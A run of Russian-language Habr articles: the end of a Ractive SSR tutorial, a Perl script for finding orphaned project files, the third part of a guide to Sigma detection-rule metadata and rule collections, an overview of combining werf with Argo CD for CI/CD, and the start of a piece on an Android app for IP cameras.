Уверен, что все, итак, в курсе каким образом можно проверить работу **SSR** — просто открываем "*Просмотр кода страницы*" и видим что тег **#app** не является пустым (как это обычно бывает в SPA), а содержит разметку нашего приложения. Cool, с **hydrate** чуть сложнее.
Внимательный глаз мог заметить вот этот непонятный кусок кода, который как бы «ни к селу ни к городу» присутствует в нашем серверном шаблоне **index.html**:
```
window.msgEl = document.getElementById('msg');
```
Именно с его помощью мы сможем проверить, работает ли наша «гидрация» или нет. Открываем консоль и вводим:
```
msgEl === document.getElementById('msg');
```
Если **true**, значит элемент не был перерисован клиентским кодом. Можно также поэкспериментировать и выставить значение **Ractive.defaults.enhance = false;**, пересобрать и перезапустить приложение и убедиться, что в этом случае данная проверка вернет значение **false**. Что означает, что клиентский код перерисовал разметку.
Таким образом и **SSR** и «гидрация» прекрасно работают как со статическими, так и с динамическими, так и с очень динамическими значениями (вычисляемые свойства). Что и требовалось проверить.
→ [**Репозиторий**](https://github.com/PaulMaly/realworld-starter-kit)
→ [**Демо**](https://ractive-realworld-example-app-dcardmtaqx.now.sh/)
В следующей части данного туторила мы решим еще две ключевые проблемы изоморфных веб-приложений: ***изоморфный роутинг и навигация***, и ***повторный фетчинг и начальное состояние данных***. Не смотря на то, что я собираюсь посвятить этим вопросам отдельную статью, само решение займет у нас буквально 5 строк кода приложения. Не переключайтесь!
Спасибо за внимание! Если понравилось, следите за продолжением! Всех причастных с праздником и удачи!
**UPD:** [Разработка изоморфного RealWorld приложения с SSR и Progressive Enhancement. Часть 3 — Routing & Fetching](https://habrahabr.ru/post/350428/) | https://habr.com/ru/post/349354/ | null | ru | null |
# Простенький скрипт поиска возможно осиротевших файлов проекта
Леность ли моя тому причиной или болезненная неприязнь к комбайнам, но у меня как-то не сложились отношения с большими толстыми довольными IDE. Довольствуюсь простым ламповым Geany и несколькими самописными скриптами, количество коих растёт по мере необходимости.
С одной стороны, минусы очевидны — все эти скрипты часто повторяют функционал больших сред разработки; велосипеды — в массы. Но с другой стороны, я получаю ровно то, что нужно и удобно мне. Да и, потом, юниксвейненько получается: понадобилось забить гвозь — берёшь молоток, а не нанимаешь строительный кран с бригадой рабочих и прорабом.
[](https://habrahabr.ru/post/337140/)
О некоторых таких скриптах решил попробовать писать сюда. Может, кому пригодятся (да и заточить под себя какой-нибудь из них всегда можно). Если нет — ругайтесь в комментариях, учту. Итак.
Поиск сирот (ds-findorphaned)
-----------------------------
При работе над более-менее большими проектами, какими бы педантами мы не были, порой скапливается приличное количество файлового мусора. Картинки, CSS-ки, временные версии. Разумеется всё это нужно организовывать тем или иным способом — названиями, метками, расположением — как угодно. Но в пылу творчества о чём-нибудь да забудешь. Оно и весит, вроде как, немного, но… неаккуратно. Порой хочется почистить проект, а для этого нужно ещё этот мусор отыскать среди другого мусора нужных файлов.
Одним из признаков нужности файла является его упоминание в других файлах. В других нужных файлах. Всяческие инклюды, пути к картинкам в CSS-ках и т. п. Сразу нужно оговориться, что это далеко не единственный признак. Во-первых, нужный файл может в других не упоминаться. Во-вторых, может упоминаться в других, но эти другие не нужны сами. Но. Всё-таки, если файл больше нигде не упоминается, имеет смысл обратить на него внимание.
Собственно, для поиска таких одиночных файлов я и написал небольшой скриптик (Perl, CLI — [описание](https://assador.website/programs/ds-utils/ds-findorphaned), [гитхаб](https://github.com/assador/ds-utils/blob/master/ds-findorphaned)). Всё просто. В ключах скрипта указывается:
* **`-d`** — Каталог с файлами, **которые** хочется проверить на сиротство. Отдельным ключом **`-r`** задаётся рекурсивный поиск в этом каталоге.
* **`-f`** — Маска (регулярное выражение) имён файлов, **которые** хочется проверить на сиротство.
* **`-D`** — Каталог с файлами, **в которых** ищется упоминание заданных выше возможно сиротских файлов. Ещё одним отдельным ключом **`-R`** задаётся рекурсивный поиск в этом каталоге.
* **`-F`** — Маска (регулярное выражение) имён файлов, **в которых** ищется упоминание заданных выше возможно сиротских файлов.
Ну и три вспомогательных ключа:
* **`-v`** — Вывод дополнительной суммирующей информации и предложения найденные возможно сиротские файлы удалить. Без ключа скрипт просто перечисляет эти файлы с полными путями, по строке на файл.
* **`-e`** — С этим ключом можно указать конкретную кодировку анализируемых файлов на случай, если с этим не справится “Enca” (что вряд ли), включающаяся в работу по умолчанию, если этот ключ не указан.
* **`-l`** — Запись результатов поиска в указанный этим ключом лог-файл.
Разумеется, каталоги для поиска и маски имён могут пересекаться вплоть до полного совпадения. По умолчанию, кстати, если эти ключи не заданы, оба каталога принимаются за текущий (**`./`**) и обе маски означают любые имена (**`.*`**). Рекурсивность поиска же при этом по умолчанию выключена, чтобы не взорвать диск и мозг компьютера на больших проектах.
Для примера:
```
$ ds-findorphaned -v -r -R -l "~/log.txt" -d "~/maybe_orphaned_images" -f ".*\.jpg$" -D "~/search_here, ~/and_here" -F ".*\.php$"
```
Результатом будет список всех .jpg-файлов, находящихся в **`~/maybe_orphaned_images`** (и подкаталогах, рекурсивно), не упоминающихся ни в одном из .php-файлов, находящихся в **`~/search_here`** и **`~/and_here`** (и подкаталогах, рекурсивно).
Я сам обычно запускаю скрипт с ключом **`-l`** (и без **`-v`**), чтобы потом открыть лог, просмотреть, удалить строки с заведомо нужными файлами и скормить оставшееся **`rm`**-у или **`mv`**.
И ещё раз. Неупоминание — лишь один из признаков ненужности файла, так что скрипт — лишь вспомогательный инструмент для принятия решения. Но по мне так инструмент полезный.
Прикручу ещё голосовалку, чтобы понять, стоит ли мне в дальнейшем писать о подобных полезностях. | https://habr.com/ru/post/337140/ | null | ru | null |
# Все, что вы хотели знать о Sigma-правилах. Часть 3
Эта статья — завершение цикла материалов ([первая часть](https://habr.com/ru/company/pt/blog/510480/), [вторая часть](https://habr.com/ru/company/pt/blog/513032/)), посвященного синтаксису Sigma-правил. Ранее мы рассмотрели пример простого Sigma-правила и подробно описали самые важные части правила — секцию описания источников событий и секцию описания логики детектирования. Теперь у нас есть почти все знания, которые могут понадобиться при написании и разборе Sigma-правил любой сложности. Нам осталось лишь рассмотреть атрибуты, содержащие метаинформацию, и разобраться, что такое коллекции правил и как с ними работать. Именно этим вопросам посвящена заключительная часть цикла.
Атрибуты с метаинформацией
--------------------------
### Заголовок (атрибут title)
В заголовке кратко описывается суть правила. Это текстовое поле длиной не более 256 символов. Тут следует давать максимально короткое и емкое описание. Придерживайтесь следующих рекомендаций:
* Не используйте в качестве заголовка конструкции вроде «Detects…». И без этого понятно, что правило что-то детектирует.
* Используйте емкие заголовки длиной не больше 50 символов.
* Любые пояснения и важные комментарии пишите в поле description (рассмотрим его далее).
### Подробное описание и дополнительные пояснения к правилу (атрибут description)
Если в заголовке указано краткое описание правила для общего понимания его назначения, то в поле description можно указать все нюансы и особенности, которые автор закладывает в данное правило. Также тут кратко описывается та атака, которую предлагается выявлять при помощи данного правила. Максимальная длина данного поля составляет 65 535 символов.
### Уникальный идентификатор правила и идентификаторы связанных правил (id, relative)
Поскольку конкретные значения атрибутов title и description могут быть произвольными, в том числе одинаковыми для двух разных правил (никогда так не делайте), то они не подходят для однозначной идентификации правила. Нужен более формальный, уникальный идентификатор. Universally unique identifier (UUID) используется в подавляющем большинстве продуктов для решения подобной задачи. Авторы Sigma советуют разработчиками правил следовать тем же путем, однако для приватных правил можно использовать любую схему создания идентификаторов. В публичном репозитории в качестве схемы создания идентификаторов выбран упомянутый выше UUID. Такого же подхода мы придерживались в примере правила в первой части статьи. Если вы хотите в дальнейшем опубликовать свое правило или отправить запрос на его добавление в официальный репозиторий, то советуем вам придерживаться той же схемы создания идентификатора правила.
Уникальный идентификатор можно сгенерировать разными способами, в среде Windows проще всего запустить следующий PowerShell-код:
```
PS C:\> "id: $(New-Guid)"
id: b2ddd389-f676-4ac4-845a-e00781a48e5f
```
В операционной системе на базе ядра Linux можно использовать утилиту uuidgen:
```
$ echo “id: `uuidgen`”
id: b2ddd389-f676-4ac4-845a-e00781a48e5f
```
При внесении значительных изменений в правило его идентификатор должен быть изменен. Ситуации, в которых следует создавать новый идентификатор:
* изменение логики правила;
* наследование правила из существующего с сохранением исходного (справедливо и для ситуации усовершенствования правила);
* слияние правил.
Для случаев наследования и слияния правил есть специальный идентификатор related с четырьмя возможными значениями типа (атрибут type).
Рассмотрим гипотетические ситуации, в которых нам может оказаться полезным использование идентификатора related. Для наглядности вместо длинных идентификаторов в формате UUID будем писать просто X, Y, Z.
В первом случае новое правило (id: X) получено (derived) из существующего (id: Y). Это может случиться, если мы улучшили логику работы в новом правиле, но по какой-то причине старое правило хотим сохранить. Таким образом, у нашего правила есть родительское правило, которое сохраняется и может использоваться в дальнейшем:
Второй случай похож на первый за исключением одного факта: старое правило не сохраняется. То есть мы переписали правило кардинально, и потребовалось присвоение нового идентификатора, а старое устарело (obsoletes) и более использоваться не будет. Итак, у нас было правило (id: Y), которое мы переписали, и мы решили, что оно нам больше не нужно. Новое правило получило идентификатор (id: X). В Sigma-правиле подобная ситуация будет выглядеть примерно так:
В третьем случае рассмотрим ситуацию, когда новое правило появилось как результат слияния (merge) двух или более существующих правил. Новое правило (id: X) является результатом слияния двух правил (id: Y, Z). Важно отметить, что оба родительских правила, которые участвовали в слиянии, сохраняются и могут использоваться дальше. В Sigma-правиле подобная ситуация могла бы выглядеть так:
Хотя при слиянии порядок правил и не определен, в комментариях мы их пронумеровали для наглядности.
Четвертым типом является rename. Как следует из названия, применяется данный тип связи между идентификаторами при переименовании старого правила. По факту данный тип не применяется на практике. В качестве примера использования авторы приводят случай изменения схемы создания идентификаторов (мы помним, что UUID — не единственно возможная схема именования).
### Статус готовности правила (атрибут status)
Согласно спецификации, правило может быть в одном из трех состояний:
* **stable** — правило можно использовать в реальной инфраструктуре для детектирования атак, доработка не требуется;
* **test** — правило почти стабильное, но требуется небольшая подстройка;
* **experimental** — такое правило может порождать большое количество ложных срабатываний, но при этом выявляет интересные события.
Обычно до обкатки правила на реальной инфраструктуре правило имеет статус experimental, поскольку еще точно не известно, как часто оно будет порождать ошибки. Далее, после нескольких месяцев проверки, если правило написано хорошо и не порождает ошибок (или их пренебрежимо мало), его переводят в разряд stable. Если иначе — вносят исправления и снова проверяют. В официальном репозитории Sigma нет ни одного правила со статусом test.
### Лицензия, по которой распространяется правило (атрибут license)
Лицензия, согласно которой происходит распространение правила. Данное поле пришло из мира свободно распространяемого ПО. Задается крайне редко, но если задано, то должна соответствовать формату SPDX ID specification.
### Создатели правила (атрибут author)
В данном поле перечисляются все авторы правила. Хорошим тоном считается указать не только человека, который написал само правило, но и автора оригинальной идеи детектирования.
### Ссылки на исследования, которые помогли в разработке правила (атрибут references)
При написании Sigma-правил принято указывать ссылки на оригинальные статьи, твиты и исследования, которые помогли или вдохновили на создание правила. Помимо выражения уважения к чужому труду, такие ссылки помогают впоследствии разобраться, как именно работает правило.
### Поля события, которые полезно показать аналитику при срабатывании правила (атрибут fields)
Поскольку автор правила глубоко разобрался в алгоритме атаки и тех событиях, которые порождаются при ее проведении, то он может выбрать список полей из событий, которые помогут оператору SOC или другому сотруднику команды ИБ разобраться в инциденте.
### Случаи ошибочного срабатывания правила (атрибут falsepositives)
Поле falsepositives достаточно необычное для правил детектирования. Оно никак не влияет на ход валидации событий, однако выполняет две полезные задачи:
* Помочь пользователю определить, является ли данная сработка правила ошибкой.
* Напомнить лишний раз разработчику правила о том, что его правило может ложно срабатывать. Такие мысли могут помочь разработчику написать более точное правило.
### Различные теги и метки (атрибут tags)
Обычно данное поле используется для проставления меток по классификации MITRE ATT&CK и меток CAR. Крайне рекомендуем сразу классифицировать свое правило, поскольку такая разметка позволяет интегрировать правила Sigma с другими проектами по ИБ. Однако формат не ограничивает авторов правил только такими метками, можно проставить любые.
Коллекции правил
----------------
Согласно стандарту YAML, один файл (в их терминологии stream) может содержать в себе несколько YAML-документов. Обеспечивается это благодаря метке YAML-документа — три дефиса (“---"). Для формата Sigma эти документы могут быть самостоятельными Sigma-правилами или action-документами.
С первым случаем все просто: в одном файле содержатся полноценные Sigma-правила, которые отделены друг от друга меткой YAML-документа (пример [rules/proxy/proxy\_ursnif\_malware.yml](https://github.com/Neo23x0/sigma/blob/82cae6d63c9c2f6d3e86c57e11497d86279b9f95/rules/proxy/proxy_ursnif_malware.yml)).
Со вторым случаем сложнее. YAML-документ обрабатывается как action-документ, если верхнеуровневый атрибут action имеет одно из трех следующих значений:
* **global** — задает содержимое, которое будет сливаться со всеми дальнейшими YAML-документами в этом файле. Несколько глобальных action-документов накапливаются в единый буфер. Варианты использования: задание метаинформации и частей правила, которые являются общими для всех Sigma-правил в коллекции;
* **reset** — сбрасывает содержимое, накопленное из глобальных action-документов;
* **repeat** — документ с меткой repeat берет содержимое предыдущего правила и сливает его со своим.
**Замечание**: атрибут action может находиться в любом месте правила.
Наиболее распространенный случай использования коллекции правил — определение нескольких Sigma-правил для схожих событий, таких как Windows Security EventID 4688 и Sysmon EventID 1. Оба события появляются в результате создания процесса, просто у них разные источники. Коллекция Sigma-правил для данного сценария может содержать три action-документа:
1. Глобальный action-документ, который определяет общие поля метаданных и индикаторы детектирования.
2. Правило, которое определяет источник Windows Security Event Log и событие EventID=4688.
3. Правило, которое определяет источник Windows Sysmon Event Log и событие EventID=1.
Альтернативным решением может быть:
1. Глобальный action-документ, который определяет общие поля метаданных.
2. Правило на Windows Security Event Log (для события EventID=4688) со всеми деталями события.
3. Action-документ типа repeat, который заменяет значение атрибута logsource и EventID из правила, определенного в п. 2.
### Обработка типов action-документов
В данном разделе мы подробно опишем, как именно Sigma формирует итоговые правила на основе значений атрибута action. YAML-документы, которые содержат атрибут action со значением global, считаются глобальными документами в рамках данного файла, и их поля будут добавлены во все остальные документы.
**Замечание**: если текущий документ содержит атрибут action со значением reset, то поля глобального документа в него добавлены не будут.
Логика работы с глобальными документами следующая: как только парсер встречает глобальный документ (документ, который содержит атрибут action со значением global), он добавляет его поля в специальный буфер и переходит к следующему документу. Назовем этот специальный буфер GLOBALYAML, это поможет в дальнейшем ссылаться на него на схемах.
**Важно**: поскольку границы документов задаются меткой “---”, то важно правильно расставить эти метки в файле.
В примере ниже первый YAML-документ содержит атрибут action со значением global. Границы этого документа простираются до первой метки документа. Таким образом, весь первый документ заносится в глобальный буфер. Поля этого буфера затем добавляются к каждому последующему документу. В итоге получаем на выходе два правила.
[](https://habrastorage.org/webt/zz/qy/qd/zzqyqdjbp3bcyy2br5q28da93du.png)
*Схема 1. Обработка простого правила с правильным заданием меток YAML-документа*
Но если удалить или забыть первую метку, то все поля YAML DOCUMENT 2 войдут в состав глобального документа. В итоге на выходе получаем только одно правило с некорректным набором идентификаторов поиска. Поэтому очень важно правильно расставлять метки YAML-документов в таких составных правилах.
*Схема 2. Обработка предыдущего правила — если забыть проставить первую метку YAML-документа*
Стоит отметить, что глобальный документ не обязательно идет в начале. Если смотреть на две предыдущие схемы, то он не всегда является YAML DOCUMENT 1. Более того, он не обязан быть в единственном числе. Следующая схема наглядно показывает это.
[](https://habrastorage.org/webt/pl/wl/gk/plwlgkmaew04dtb0sgqb8d4lwaw.png)
*Схема 3. Обработка правила, содержащего различные варианты задания глобального YAML-документа*
Итак, мы рассмотрели вопросы, связанные с правильной расстановкой меток YAML-документа. А также увидели, что можно по-разному задавать глобальный YAML-документ при помощи атрибута action со значением global. Далее рассмотрим схему преобразования правила при использовании в нем двух оставшихся значений атрибута action — reset и repeat.
[](https://habrastorage.org/webt/sh/6r/ue/sh6ruebixdus3q89rarpe7wepge.png)
*Схема 4. Обработка правила, содержащего атрибуты action со значением reset и repeat*
Что еще нужно сказать про проект Sigma
--------------------------------------
### Sigma — это не только набор правил с форматом, который мы рассмотрели в данном цикле
В своих публикациях мы сосредоточились на описании формата и синтаксиса правил. Но правила — это только одна половина проекта, вторую составляют бэкенды, которые используются конвертером sigmac. Условно данные конвертеры можно представлять себе как «переходники» с универсальным входом и специфичным выходом. Именно наличие таких «переходников» делает универсальный формат описания таким полезным. В этой ситуации неважно, какой из поддерживаемых систем ты пользуешься, Sigma позволяет описывать идею и алгоритм детектирования, в то время как за конкретный синтаксис целевой системы и маппинг полей отвечает тот или иной бэкенд для конвертера sigmac.
Однако не стоит считать, что, скачав правила и сконвертировав их в синтаксис необходимой целевой системы, вы решите все проблемы, связанные с наполнением вашей системы экспертизой. О том, почему Sigma не является на данный момент «решением из коробки», а также почему необходимо понимание синтаксиса правил, коротко мы поговорим ниже.
### Существующие на данный момент вызовы Sigma
Sigma — активно развивающийся проект, и как у любого растущего проекта, у Sigma есть свои вызовы. Лично я их воспринимаю как точки развития и области роста. Ну а поскольку это проект с открытым исходным кодом, то объединив усилия можно внести весомый вклад в развитие тех или иных частей проекта. Перечислю, что на данный момент я отношу к основным вызовам фреймворка:
1. Отсутствие возможности корреляции событий. Поскольку агрегатные функции очень трудно назвать механизмом корреляции.
2. Правила не сбалансированы, превалируют правила для Windows-инфраструктур (см. диаграммы из первой статьи). Более того, среди части правил есть пересечения по логике и назначению.
3. Wiki не структурирована, спецификация описана на одной большой странице. При этом на соседних страницах описаны сущности разного уровня.
4. Подавляющее большинство правил находятся в статусе experimental — в основном потому, что слишком мало обратной связи по практике их применения.
5. Многие правила требуют верификации или обновления синтаксиса.
6. Текущие метки значимости правил выставляются авторами на свое усмотрение, нет единой методики определения опасности той или иной атаки.
По своему опыту скажу, что при знакомстве с проектом Sigma и участии в OSCD наиболее весомым оказался первый пункт списка. Оказалось, что различия между синтаксисом в [MaxPatrol SIEM](https://www.ptsecurity.com/ru-ru/products/mpsiem/) и в Sigma не заканчиваются только семантикой ключевых слов и оформлением правил корреляции. Некоторые наши идеи невозможно описать в рамках синтаксиса Sigma, поскольку на данном этапе не предусмотрена возможность корреляции событий. Механизм корреляции позволяет производить поиск общих значений полей событий и связывать между собой такие события. Это бывает полезно, когда мы хотим точно установить связь между событиями. Например — отслеживать события в рамках одной пользовательской сессии. Для этого нужно связывать события по значению поля LogonID или его аналога.
При этом стоит отметить, что точечные детекты или детекты, основанные на не связанных напрямую событиях, с помощью Sigma описываются весьма успешно.
Один из способов помочь в решении этих и других вопросов — принять активное участие в одном из спринтов OSCD. А поскольку задач много, каждый сможет найти то, что интересно именно ему.
Скоро новый спринт, присоединяйтесь!
------------------------------------
Выражаем благодарность организаторам первого спринта за качественное проведение мероприятия и внимательное отношение к участникам. Чего стоят только именные открытки, заполненные от руки и высланные каждому участнику! Со своей стороны мы планируем продолжить участие в новых спринтах и внести посильный вклад в репозиторий Sigma.
Прочитав наш цикл статей и познакомившись поближе с форматом правил, вы вполне сможете применять свою экспертизу во благо всего комьюнити ИБ.
Обязательно присоединяйтесь ко второму спринту. Участвуйте индивидуально и собирайте команды, давайте делать мир безопаснее вместе!
Контакты инициативы OSCD:
* [oscd.community](https://oscd.community/)
* [twitter.com/oscd\_initiative](https://twitter.com/oscd_initiative)
**Автор**: Антон Кутепов, специалист отдела экспертных сервисов и развития Positive Technologies (PT Expert Security Center) | https://habr.com/ru/post/515532/ | null | ru | null |
# Новые возможности werf: CI/CD на основе werf и Argo CD
В этой статье мы рассмотрим новый экспериментальный режим совместной работы Open Source-утилиты werf и инструмента для непрерывной доставки Argo CD, объединяющий в себе возможности и удобства обоих проектов в рамках одного CI/CD-процесса. Сейчас идет активная разработка этих возможностей werf, но в первом приближении функционал уже доступен и готов к использованию.
Введение
--------
[Argo CD](https://argoproj.github.io/cd/) и [werf](https://werf.io/) — инструменты для доставки приложений в кластер Kubernetes с использованием Git-репозитория в качестве единственного источника истины. Они выполняют схожие задачи, но делают это немного по-разному, поэтому напрямую противопоставлять их друг другу не совсем корректно.
Argo CD представляет собой Kubernetes-оператор непрерывной доставки, реализующий метод [GitOps](https://opengitops.dev/#principles): он работает внутри K8s-кластера, мониторит репозиторий с кодом или container registry с собранными артефактами и отвечает за развертывание приложения в кластере и его соответствие состоянию репозитория. Он довольно универсален, и с его помощью мы получаем возможность удобного отслеживания и управления выкатом со сложными стратегиями наподобие Blue-green и Canary, которые реализованы в Argo Rollouts.
werf — это утилита, встраиваемая в любую систему CI/CD, будь то GitLab, GitHub Actions или любая другая привычная разработчикам или пользователям система управления доставкой. С ее помощью можно настроить выкат приложения в любое окружение, например, в тестовый контур, реализовать быструю сборку артефактов в соответствии с любыми минимальными изменениями в Git-репозитории, а также быстро поднять локальное окружение для разработки на своей рабочей машине.
Оба этих инструмента покрывают требования CI/CD, но выполняют немного разные задачи и имеют разный подход. Основным отличием werf от Argo CD можно назвать тот факт, что **werf не является оператором**, который может следить за состоянием кластера и приводить его в соответствие с нужной схемой и версиями приложений (т.н. self-healing). По крайней мере, пока утилита не запущена конкретно из терминала пользователя или пайплайна CI/CD. Argo CD же, как оператор, выполняет такие задачи и уже хорошо зарекомендовал себя в широком сообществе, поэтому объединение этих двух инструментов может сделать процесс разработки и выката приложений в кластер еще более удобным.
Более подробно о том, какие части «эталонного» цикла CI/CD покрывает каждый из инструментов, можно увидеть на этой схеме:
«Эталонный» цикл CI/CD и роль werf и Argo CD в немКак видно из рисунка, Argo CD берет на себя только два последних пункта: приемочное тестирование и непосредственно выкат в кластер. werf же позволяет дополнить этот функционал такими вещами, как локальная разработка, сборка и публикация готовых образов в container registry, быстрое тестирование коммитов в пайплайне, подготовка релизных артефактов и запуск приемочных тестов (опционально).
Для чего и кому может быть полезен такой режим?
-----------------------------------------------
Связка из werf и Argo CD позволяет полностью интегрировать между собой любую CI/CD-систему и Argo CD. При этом от каждого из инструментов берутся свои возможности и особенности.
Например, werf во время работы вешает на собранные артефакты лейблы и теги, по которым можно отследить, из какой ветки и какого коммита был собран тот или иной образ (для этого подготовлен специальный плагин для Argo CD, подробнее об этом ниже). Также в качестве опции, не совсем соответствующей парадигме GitOps, можно запустить деплой с помощью **argo sync** прямо в Job пайплайна.
Преимущества, получаемые от Argo CD:
* Pull-модель работы системы, когда за артефактами и состоянием кластера следит работающий в нем оператор, подтягивая изменения по собственному расписанию и настройкам, реализуя self-healing-кластер (возврат кластера к состоянию из Git или container registry в случае каких-либо ручных изменений).
* Удобный web-интерфейс, позволяющий отслеживать состояние кластера и процессов в нем в реальном времени, а также управлять его составляющими.
* Возможность мультикластерной работы, когда один оператор управляет несколькими контурами.
* Cold cluster — резервный кластер, который синхронизируется с основным и позволяет быстро восстановить работоспособность системы в целом в случае каких-либо поломок.
Argo Rollouts — возможность реализовать такие сценарии деплоя, как Blue-green или Canary (подробнее об этих и других стратегиях деплоя можно прочитать [в обзорной статье](https://habr.com/ru/company/flant/blog/471620/)).
Преимущества, получаемые от werf:
* Вся необходимая информация для разработки и отладки находится в CI-системе.
* Консистентный и эффективный метод разработки и публикации конечных артефактов для выката в production:
+ локальная разработка приложений на машинах разработчиков ([пример с minikube](https://habr.com/ru/company/flant/blog/597277/));
+ тестирования (Unit-тесты, linter’ы, интеграционные и acceptance-тесты и т.д.);
+ простая организация [review-окружений](https://habr.com/ru/company/flant/blog/571482/).
* Стандартизация конфигурации сборки и деплоя проекта с возможностью из коробки объединить сборку и публикацию релизов приложения.
* Возможность интеграции с любой CI/CD-системой.
Этот режим имеет довольно широкую аудиторию охвата, начиная от разработчиков и заканчивая администраторами кластеров. Первым он дает возможность пользоваться удобной и привычной системой CI/CD, которая предоставляет интеграцию с Git, pull requests, возможность выкатывать в review-окружения и хороший observability для pipeline’ов и Job’ов с привязкой к Git. Администраторам же он дает гарантии того, что единой точкой внесения всех изменений в кластер является Git и Argo CD.
Процесс разработки с точки зрения пользователя
----------------------------------------------
Когда все уже настроено (ссылки на инструкции приведены ниже), для конечного пользователя процесс будет выглядеть приблизительно так:
* Пользователь [разрабатывает проект локально](https://habr.com/ru/company/flant/blog/597001/) на своей рабочей машине:
+ собирает образы;
+ может выкатывать приложение в локальный кластер Kubernetes.
* Следующим шагом он push’ит свои изменения в ветку Git-репозитория и создаёт pull request.
* CI/CD-система триггерит созданный PR, собирает для него образы и запускает быстрые тесты (Unit-тесты и линтеры) с помощью werf.
* При необходимости пользователь имеет возможность по нажатию кнопки в интерфейсе CI/CD-системы выкатить приложение в review-окружение с помощью werf.
* Затем, если все нормально, PR мержится в основную ветку проекта.
* Публикуется релизный артефакт, готовый для дальнейшего тестирования и для выката в production-like или production-окружение.
* Запускаются долгие тесты: acceptance, e2e и так далее. Выполнить это можно двумя способами: через выкат релизного артефакта с помощью werf или Argo CD.
* Релизный артефакт выкатывается в контур Kubernetes через Argo CD.
Более подробно про этот процесс можно почитать [в документации](https://ru.werf.io/documentation/v1.2.87/advanced/ci_cd/werf_with_argocd/ci_cd_flow_overview.html).
Как это работает на принципиальном уровне
-----------------------------------------
Условно процесс можно разделить на две части:
* werf отвечает за подготовку и публикацию релизного артефакта в container registry — так называемый [bundle](https://ru.werf.io/documentation/v1.2.87/advanced/bundles.html).
* Argo CD выкатывает релизный артефакт из container registry в production.
Рассмотрим каждый этап подробнее.
### werf
В начале статьи был рисунок с «эталонным» процессом CI/CD. Он очень четко отражает суть того, что происходит на этапе подготовки и публикации релизных артефактов.
Сначала пользователь локально разрабатывает новый функционал приложения или вносит в него какие-то изменения. werf в данном случае сильно упрощает работу, т.к. имеет разные настройки, способствующие удобству локальной разработки — например, отслеживание изменений в файлах или отслеживание новых коммитов в локальном Git-репозитории, находящемся в каталоге с проектом (каталог `.git`).
Далее следует коммит изменений в репозиторий. В локальной разработке это приводит к пересборке и перевыкату приложения в локальный кластер, а в удаленном репозитории — к триггеру CI/CD-системы и запуску сборки с помощью werf уже на ее worker’е.
Далее наступает фаза тестов: приложение тестируется и проверяется, после чего werf подготавливает так называемый bundle — [артефакт релиза](https://ru.werf.io/documentation/v1.2.87/advanced/ci_cd/werf_with_argocd/ci_cd_flow_overview.html#:~:text=%D1%8D%D1%82%D0%B0%D0%BF%D0%B5%20%D0%BD%D0%B5%D0%BE%D0%B1%D1%85%D0%BE%D0%B4%D0%B8%D0%BC%D0%BE%20%D0%BF%D0%BE%D0%B4%D0%B3%D0%BE%D1%82%D0%BE%D0%B2%D0%B8%D1%82%D1%8C-,%D0%B0%D1%80%D1%82%D0%B5%D1%84%D0%B0%D0%BA%D1%82%20%D1%80%D0%B5%D0%BB%D0%B8%D0%B7%D0%B0,-%2C%20%D0%B2%D0%BE%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%B2%D1%88%D0%B8%D1%81%D1%8C%20%D1%82%D0%B0%D0%BA%20%D0%BD%D0%B0%D0%B7%D1%8B%D0%B2%D0%B0%D0%B5%D0%BC%D1%8B%D0%BC%D0%B8), при этом обеспечивается сборка всех необходимых образов, публикуются Helm-чарты, настроенные на использование собранных образов, в container registry, формируя бандл (bundle).
### Argo CD
Задача Argo CD в том, чтобы отследить появление нового бандла в container registry и развернуть его в кластере. Сделано это может быть как в ручном режиме после соответствующей команды пользователя, так и автоматически, если настроен Argo CD Image Updater [с соответствующим патчем](https://github.com/argoproj-labs/argocd-image-updater/pull/405). Этот патч следит за появлением новых бандлов от werf и запускает развертывание новой версии приложения в кластере.
Для Argo CD был подготовлен специальный плагин в виде готового образа (`registry.werf.io/werf/werf-argocd-cmp-sidecar:VERSION`), который отвечает за описанную выше интеграцию werf и Argo CD. Именно этот плагин отвечает за рендеринг опубликованного бандла. Использование плагина опционально, но без него не будет работать связь между CI/CD-системой и развернутым приложением, т.к. именно он позволяет соотносить элементы развернутого приложения с соответствующими коммитами в исходном Git-репозитории. Без него все так же будет работать, но посмотреть теги и лейблы, проставленные werf во время сборки, будет невозможно.
Подробнее о возможностях [плагина](https://ru.werf.io/documentation/v1.2.87/advanced/ci_cd/werf_with_argocd/prepare_kubernetes_cluster.html#1-%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%B8%D1%82%D0%B5-argocd-%D1%81-%D0%BF%D0%BB%D0%B0%D0%B3%D0%B8%D0%BD%D0%BE%D0%BC-werf) и [патча](https://ru.werf.io/documentation/v1.2.87/advanced/ci_cd/werf_with_argocd/prepare_kubernetes_cluster.html#2-%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%B8%D1%82%D0%B5-argocd-image-updater) можно прочитать в официальной документации.
Как попробовать
---------------
Попробовать новый режим можно уже сейчас, убедившись, что у вас установлена последняя версия werf. Для этого необходимо [подготовить Kubernetes-кластер](https://ru.werf.io/documentation/v1.2.87/advanced/ci_cd/werf_with_argocd/prepare_kubernetes_cluster.html), установив Argo CD и нужные зависимости, а затем [настроить свою CI/CD-систему](https://ru.werf.io/documentation/v1.2.87/advanced/ci_cd/werf_with_argocd/configure_ci_cd.html) для работы с Argo CD и werf.
Заключение
----------
Мы рассмотрели новый экспериментальный режим werf, в котором пользователю предлагается воспользоваться возможностями двух инструментов для доставки приложений в K8s-кластер совместно, используя сильные стороны обоих для достижения лучшего результата. Новый режим пока еще находится в разработке и тестируется, но попробовать его можно уже сейчас, выполнив ряд инструкций из документации. Мы будем рады обратной связи, замечаниям и предложениям! | https://habr.com/ru/post/666100/ | null | ru | null |
# Удаленный доступ к IP камерам. Часть 2. Мобильное приложение
В предыдущей [статье](https://habr.com/ru/post/597363) я рассказывал о простом [сервере](https://github.com/vladpen/python-rtsp-server) для работы с камерами видеонаблюдения, но для оперативного просмотра RTSP потоков использовал мобильное приложение VLC, которое меня не вполне устраивало по нескольким причинам. Под катом вы найдете описание и листинги простого мобильного приложения под андроид, написанного специально для охранных камер. Исходники приложения можно взять на [github](https://github.com/vladpen/cams). Для тех, кто не хочет собирать apk самостоятельно, вот [ссылка](https://github.com/vladpen/cams/tree/main/app/release) на готовые файлы.
Возможно, нам всем сейчас немного не до камер, но Хабр ведь не для политики, верно?
***UPD:*** Похоже, в связи с [последними событиями](https://habr.com/ru/news/t/654923) в Google Play, тема импотрозамещения становится еще актуальней.
